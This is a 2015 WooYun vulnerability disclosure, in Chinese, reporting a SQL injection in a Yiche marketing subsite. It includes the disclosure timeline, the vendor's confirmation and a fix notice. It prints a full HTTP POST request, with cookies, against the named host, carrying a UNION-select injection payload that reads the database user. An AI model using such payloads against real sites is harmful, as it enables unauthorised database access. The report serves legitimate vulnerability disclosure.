易车某分站MYSQL注入(可报错可union)

漏洞概要

缺陷编号:WooYun-2015-0104182

漏洞标题:易车某分站MYSQL注入(可报错可union)

相关厂商:易车

漏洞作者:路人甲

提交时间:2015-03-27 14:31

公开时间:2015-05-11 14:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2015-03-27: 细节已通知厂商并且等待厂商处理中
2015-03-27: 厂商已经确认,细节仅向厂商公开
2015-04-06: 细节向核心白帽子及相关领域专家公开
2015-04-16: 细节向普通白帽子公开
2015-04-26: 细节向实习白帽子公开
2015-05-11: 细节向公众公开

简要描述:

易车某分站mysql注入(可报错,可union)

详细说明:

易车的数字营销系统分站直接上注入点:POST/index.php/api/testdrive_dealers HTTP/1.1Host: baoma.cig.com.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0Accept: */*Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://baoma.cig.com.cn/Content-Length: 87Cookie: CIGDCID=607b5ee4be269631a63c582275b27608; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%227d3179ec55879be3f73557b73dbe9b7b%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%22125.39.17.60%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A72%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+rv%3A18.0%29+Gecko%2F20100101+Firefox%2F18.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1427435995%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Da249e5527c2fd699a9363f91121c7a3a; Hm_lvt_adff3a7e93785d384af7d77fe9dcee0f=1427493238; Hm_lpvt_adff3a7e93785d384af7d77fe9dcee0f=1427493238Connection: keep-alivePragma: no-cacheCache-Control: no-cacheprovince=广东œ&city=深圳‚' and 1=2 union select 1,2,(select user()),4,5,6,7--+&union 注入:

报错注入

漏洞证明:

参加详细说明

修复方案:

过滤吧

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-2714:34

厂商回复:

非常感谢对易车的帮助,我们会尽快处理

最新状态:

2015-03-30:已经修复,非常感谢对易车的支持

评价